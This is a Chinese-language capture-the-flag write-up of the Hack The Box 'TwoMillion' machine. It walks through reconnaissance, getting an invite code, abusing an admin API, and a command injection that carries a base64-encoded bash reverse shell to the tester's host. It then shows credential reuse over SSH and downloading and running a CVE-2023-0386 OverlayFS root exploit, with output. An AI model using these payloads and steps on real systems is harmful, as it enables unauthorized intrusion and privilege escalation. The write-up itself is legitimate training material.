先用nmap
扫下端口
$ nmap -p- 10.10.11.221
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-20 20:00 CST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.21s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 597.40 seconds
$ nmap -sCV -Pn -p22,80 10.10.11.221
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-20 20:22 CST
Nmap scan report for 2million.htb (10.10.11.221)
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.83 seconds
80端口有网页服务,加个hosts访问看看
echo "10.10.11.221 2million.htb">>/etc/hosts
是以前的HTB网页,扫一下目录和子域名
$ dirsearch -u http://2million.htb/
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /root/桌面/reports/http_2million.htb/__24-03-20_20-26-24.txt
Target: http://2million.htb/
[20:26:24] Starting:
[20:26:29] 301 - 162B - /js -> http://2million.htb/js/
[20:26:46] 200 - 2KB - /404
[20:27:06] 401 - 0B - /api
[20:27:07] 401 - 0B - /api/v1
[20:27:08] 301 - 162B - /assets -> http://2million.htb/assets/
[20:27:08] 403 - 548B - /assets/
[20:27:19] 403 - 548B - /controllers/
[20:27:20] 301 - 162B - /css -> http://2million.htb/css/
[20:27:29] 301 - 162B - /fonts -> http://2million.htb/fonts/
[20:27:32] 302 - 0B - /home -> /
[20:27:34] 301 - 162B - /images -> http://2million.htb/images/
[20:27:34] 403 - 548B - /images/
[20:27:38] 403 - 548B - /js/
[20:27:41] 200 - 4KB - /login
[20:27:42] 302 - 0B - /logout -> /
[20:28:02] 200 - 4KB - /register
[20:28:22] 301 - 162B - /views -> http://2million.htb/views/
Task Completed
$ gobuster dns -d 2million.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: 2million.htb
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
有个api
的接口,但是需要登录才能访问
注册需要邀请码,看看具体的js
代码
eval(function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
}
;
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}
];
e = function() {
return '\\w+'
}
;
c = 1
}
;while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
是混淆过的代码,但是可以看到有makeInviteCode
获取邀请码,verifyInviteCode
验证邀请码
在控制台看看makeInviteCode
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}
可以看到是通过POST
访问api
获取验证码
用bp
发下包
有一个Rot13
编码的字符串"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",解码后是
“In order to generate the invite code, make a POST request to /api/v1/invite/generate”
继续访问
base64
解码就可以拿到邀请码X8P8C-28G63-MUHHT-PMZTG
用这个邀请码注册一个账号
登录后访问下api
{
"v1":{
"user":{
"GET":{
"\/api\/v1":"Route List",
"\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation",
"\/api\/v1\/invite\/generate":"Generate invite code",
"\/api\/v1\/invite\/verify":"Verify invite code",
"\/api\/v1\/user\/auth":"Check if user is authenticated",
"\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration",
"\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration",
"\/api\/v1\/user\/vpn\/download":"Download OVPN file"},
"POST":{
"\/api\/v1\/user\/register":"Register a new user",
"\/api\/v1\/user\/login":"Login with existing user"
}
},
"admin":{
"GET":{
"\/api\/v1\/admin\/auth":"Check if user is admin"
},
"POST":{
"\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"
},
"PUT":{
"\/api\/v1\/admin\/settings\/update":"Update user settings"
}
}
}
}
注意到admin
中有一行路由"PUT":{"\/api\/v1\/admin\/settings\/update":"Update user settings"}
,应该可以用来更改用户为admin
逐个添加缺少的参数,最终修改为admin
验证一下
回到网页端,找了一会没发现有什么变化,再回到api
,看一下admin
的vpn
生成
添加参数
生成成功,并且传入的用户名插入了vpn
文件,这里可以RCE
TwoMillion | HackTheBox - h4r1337 blog | CTF writeups
可以用;sleep 5
来检测RCE
生成shell
弹shell
{
"username": "moran;echo \"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDEvNDQ0NCAwPiYx\"|base64 -d|bash"
}
拿到shell
,但是user
的flag
在admin
用户的主目录,拿到的shell
没有权限,想办法登录到admin
在html
中有Database.php
<?php
class Database
{
private $host;
private $user;
private $pass;
private $dbName;
private static $database = null;
private $mysql;
public function __construct($host, $user, $pass, $dbName)
{
$this->host = $host;
$this->user = $user;
$this->pass = $pass;
$this->dbName = $dbName;
self::$database = $this;
}
public static function getDatabase(): Database
{
return self::$database;
}
public function connect()
{
$this->mysql = new mysqli($this->host, $this->user, $this->pass, $this->dbName);
}
public function query($query, $params = [], $return = true)
{
$types = "";
$finalParams = [];
foreach ($params as $key => $value)
{
$types .= str_repeat($key, count($value));
$finalParams = array_merge($finalParams, $value);
}
$stmt = $this->mysql->prepare($query);
$stmt->bind_param($types, ...$finalParams);
if (!$stmt->execute())
{
return false;
}
if (!$return)
{
return true;
}
return $stmt->get_result() ?? false;
}
}
是连接数据库的文件,在看index.php
<?php
session_start();
//error_reporting(E_ALL);
//ini_set('display_errors',1);
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
$envFile = file('.env');
$envVariables = [];
foreach ($envFile as $line) {
$line = trim($line);
if (!empty($line) && strpos($line, '=') !== false) {
list($key, $value) = explode('=', $line, 2);
$key = trim($key);
$value = trim($value);
$envVariables[$key] = $value;
}
}
$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];
$database = new Database($dbHost, $dbUser, $dbPass, $dbName);
$database->connect();
$router = new Router();
// Home Routes
$router->new('GET', '/', 'HomeController@index');
$router->new('GET', '/invite', 'HomeController@invite');
$router->new('GET', '/register', 'AuthController@get_register');
$router->new('GET', '/login', 'AuthController@get_login');
$router->new('GET', '/logout', 'AuthController@logout');
$router->new('GET', '/404', 'HomeController@not_found');
$router->new('GET', '/home', 'HomeController@home');
$router->new('GET', '/home/changelog', 'HomeController@change_log');
$router->new('GET', '/home/access', 'HomeController@access');
$router->new('GET', '/home/rules', 'HomeController@rules');
// API Routes
$router->new('GET', '/api', 'APIController@get_version');
$router->new('GET', '/api/v1', 'APIController@get_routes');
$router->new('POST', '/api/v1/invite/how/to/generate', 'InviteController@how_to_generate');
$router->new('POST', '/api/v1/invite/generate', 'InviteController@generate');
$router->new('POST', '/api/v1/invite/verify', 'InviteController@verify');
$router->new('GET', '/api/v1/user/auth', 'AuthController@is_authenticated');
$router->new('POST', '/api/v1/user/register', 'AuthController@post_register');
$router->new('POST', '/api/v1/user/login', 'AuthController@post_login');
$router->new('GET', '/api/v1/user/vpn/generate', 'VPNController@generate_user_vpn');
$router->new('GET', '/api/v1/user/vpn/regenerate', 'VPNController@regenerate_user_vpn');
$router->new('GET', '/api/v1/user/vpn/download', 'VPNController@generate_user_vpn');
$router->new('GET', '/api/v1/admin/auth', 'AdminController@is_admin');
$router->new('POST', '/api/v1/admin/vpn/generate', 'VPNController@admin_vpn');
$router->new('PUT', '/api/v1/admin/settings/update', 'AdminController@update_settings');
$response = $router->match();
die($response);
由以下代码可以看出,数据库用户名密码和端口在.env
文件中
$envFile = file('.env');
$envVariables = [];
foreach ($envFile as $line) {
$line = trim($line);
if (!empty($line) && strpos($line, '=') !== false) {
list($key, $value) = explode('=', $line, 2);
$key = trim($key);
$value = trim($value);
$envVariables[$key] = $value;
}
}
$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];
看一下.env
数据库的用户名是admin
,密码是SuperDuperPass123
,大概率就是ssh
密码,尝试连接
ssh admin@10.10.11.221
成功登录
接下来是提权,先看看sudo -l
admin@2million:~$ sudo -l
[sudo] password for admin:
Sorry, user admin may not run sudo on localhost.
看来行不通,再看看suid
admin@2million:~$ find / -perm -u=s -type f 2>/dev/null
/snap/snapd/19122/usr/lib/snapd/snap-confine
/snap/core20/1891/usr/bin/chfn
/snap/core20/1891/usr/bin/chsh
/snap/core20/1891/usr/bin/gpasswd
/snap/core20/1891/usr/bin/mount
/snap/core20/1891/usr/bin/newgrp
/snap/core20/1891/usr/bin/passwd
/snap/core20/1891/usr/bin/su
/snap/core20/1891/usr/bin/sudo
/snap/core20/1891/usr/bin/umount
/snap/core20/1891/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1891/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
也没有什么可以利用的,再找找admin
能读取哪些文件
admin@2million:~$ find / -type f -user admin -readable 2>/dev/null
/run/user/1000/systemd/generator.late/app-snap\x2duserd\x2dautostart@autostart.service
/home/admin/.cache/motd.legal-displayed
/home/admin/.profile
/home/admin/.bash_logout
/home/admin/.bashrc
/var/mail/admin
有一封邮件
admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
查找一下OverlayFS / FUSE
相关的漏洞,找到了CVE-2023-0386
找一下利用的POC
在本地起一个http
服务
python3 -m http.server 7777
在目标机上用wget
下载
admin@2million:/tmp$ wget http://10.10.14.101:7777/CVE-2023-0386-master.zip -O CVE-2023-0386-master.zip
--2024-03-20 13:20:13-- http://10.10.14.101:7777/CVE-2023-0386-master.zip
Connecting to 10.10.14.101:7777... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11579 (11K) [application/zip]
Saving to: ‘CVE-2023-0386-master.zip’
CVE-2023-0386-master.zip 100%[==========================================================>] 11.31K --.-KB/s in 0.005s
2024-03-20 13:20:13 (2.28 MB/s) - ‘CVE-2023-0386-master.zip’ saved [11579/11579]
链接两个终端
终端1:
admin@2million:/tmp$ unzip CVE-2023-0386-master.zip
Archive: CVE-2023-0386-master.zip
737d8f4af6b18123443be2aed97ade5dc3757e63
creating: CVE-2023-0386-master/
inflating: CVE-2023-0386-master/Makefile
inflating: CVE-2023-0386-master/README.md
inflating: CVE-2023-0386-master/exp.c
inflating: CVE-2023-0386-master/fuse.c
inflating: CVE-2023-0386-master/getshell.c
creating: CVE-2023-0386-master/ovlcap/
extracting: CVE-2023-0386-master/ovlcap/.gitkeep
creating: CVE-2023-0386-master/test/
inflating: CVE-2023-0386-master/test/fuse_test.c
inflating: CVE-2023-0386-master/test/mnt
inflating: CVE-2023-0386-master/test/mnt.c
admin@2million:/tmp$ cd CVE-2023-0386-master/
admin@2million:/tmp/CVE-2023-0386-master$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘read_buf_callback’:
fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=]
106 | printf("offset %d\n", off);
| ~^ ~~~
| | |
| int off_t {aka long int}
| %ld
fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
107 | printf("size %d\n", size);
| ~^ ~~~~
| | |
| int size_t {aka long unsigned int}
| %ld
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
214 | while (read(fd, content + clen, 1) > 0)
| ^~~~
| fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
216 | close(fd);
| ^~~~~
| pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
221 | rmdir(mount_path);
| ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
admin@2million:/tmp/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
[+] readdir
[+] getattr_callback
/file
[+] open_callback
/file
[+] read buf callback
offset 0
size 16384
path /file
[+] open_callback
/file
[+] open_callback
/file
[+] ioctl callback
path /file
cmd 0x80086601
终端2:
admin@2million:/tmp/CVE-2023-0386-master$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Mar 20 13:22 .
drwxrwxr-x 6 root root 4096 Mar 20 13:22 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/tmp/CVE-2023-0386-master# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)
root@2million:/tmp/CVE-2023-0386-master# cd /root
root@2million:/root# cat root.txt
**************************
成功提权
Comments NOTHING